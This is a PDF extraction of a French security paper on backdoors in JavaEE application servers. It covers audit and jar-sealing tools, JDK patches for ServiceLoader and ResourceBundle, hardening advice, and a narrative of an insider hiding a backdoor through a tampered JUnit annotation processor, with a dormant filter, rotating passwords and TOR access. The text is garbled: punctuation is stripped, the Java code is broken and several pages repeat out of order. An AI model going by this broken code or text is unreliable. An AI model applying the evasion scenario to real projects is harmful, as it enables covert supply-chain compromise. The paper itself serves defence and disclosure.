$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

